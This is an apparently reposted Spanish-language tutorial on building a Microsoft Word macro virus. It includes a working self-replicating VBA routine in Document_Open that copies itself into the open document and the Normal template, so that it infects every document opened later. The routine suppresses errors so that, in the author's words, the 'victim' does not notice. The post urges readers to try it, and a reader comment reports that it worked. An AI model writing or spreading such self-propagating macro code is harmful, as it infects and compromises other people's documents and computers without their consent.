Bueno a qui les dejo un tutorial que encontre en la web sobre como crear virus macro espero que les sirva
Primero que nada entramos al programa (en este tutorial se utilizara Word 2003) una ves adentro del programa nos dirigimos a el menu:
Herramientas --> Macro --> Editor de Visual Basic
Una ves adentro seguramente estaran acostumbrados al entorno VB.
Ahora fijen su vista en la seccion izquierda de la pantalla... Se observaran 2 proyectos:
Normal
Project (Documento1)
A continuacion se explicara la funcion principal de cada uno de ellos:
Normal:
Contiene toda la informacion que se carga cuando Word se inicia... Osea... nuestro objetivo es que el codigo se copie a si mismo (Virus) en el normal... para que de esta manera infecte tambien a los documentos proximos a abrirse.
Project (Documento1):
Contiene toda la infomacion que se carga cuando se abre el archivo que nosotros creamos. Aqui iria nuestro codigo original...
Bueno sigamos hacia adelante
Infeccion por Class Object o ThisDocument
Pues sencillo... abrimos el Project (Documento1) y abrimos el codigo de
ThisDocument
y luego programamos lo que se nos cante.
Los eventos son:
Sub AutoOpen() :
Cuando se abre un documento.
Funciona en Modulos
Sub AutoClose() :
Cuando se cierra un documento.
Funciona en Modulos
Sub Document_Open() :
Cuando se abre un documento.
Funciona en Class Object
Sub Document_Close() :
Cuando se cierra un documento.
Funciona en Class Object
Sub ViewVBCode() :
Cuando se carga el editor de Visual Basic.
Sub ToolsMacro() :
Cuando se carga la lista de macros.
Entonces, logico es que se utilizan AutoOpen(), AutoClose(), Document_Open() o Document_Close() para colocar el codigo, entonces, al cargarse un documento infectado este revisa si la plantilla normal esta infectada, si lo esta, entonces continua. Si no lo esta, copia su codigo a esta, entonces queda el virus residente en la plantilla normal, por lo cual cada vez que se de uno de los eventos anteriormente mencionados esta copiara su codigo a todos los documentos que se abran.
Pero hoy solo trabajaremos con Document_Open() y Document_Close() ya que este tuto se limita a Class Object .
Bueno a continuacion haremos los siguiente:
Abrimos la planilla de nuestro documento... y le ponemos un codigo como este por ej :
dijo:'KaZiN
Private Sub Document_Open()
On Error Resume Next
Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule
Codigo = Rulz.Lines(1, Rulz.CountOfLines)
If (Slow.Lines(1, 1) <> "'KaZiN"Then
Slow.AddFromString Codigo
End If
If (Emotion.Lines(1, 1) <> "'KaZiN"Then
Emotion.AddFromString Codigo
End If
End Sub
Explicare lo que puse anteriormente
'KaZiN
La primer linea del codigo tiene que tener lo que ustedes tengan ganas, esta sera la forma de saber si la ya esta infectada por nuestro virus o no. Entenderan mas adelante
On Error Resume Next
Simplemente para que en caso de que halla un error no se de cuenta nuestra victima
Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule
Colocamos a Slow igual al codigo del class object del documento activo.
Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule
Colocamos a Emotion igual al codigo del class object del Normal
Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule
Colocamos a Rulz igual al codigo del class object del proyecto activo.
Codigo = Rulez.Lines(1, Rulez.CountOfLines)
Colocamos Codigo como el codigo del proyecto activo (Osea nuestro code)
If (Slow.Lines(1, 1) <> "'KaZiN"
Slow.AddFromString Codigo
End If
If (Emotion.Lines(1, 1) <> "'KaZiN"
Emotion.AddFromString Codigo
End If
Nos fijamos si la primera linea del documento activo es igual a nuestra marca de infeccion, si no lo es importamos desde la variable "Codigo" anteriormente declarada. Luego hace lo mismo con la plantilla Normal.
Ok ahi tienen explicado el codigo... bueno ahora simplemente prueben y disfruten creando .
Espero que les halla gustado este manual!
ya lo probe me sirvio gracias
ResponderEliminar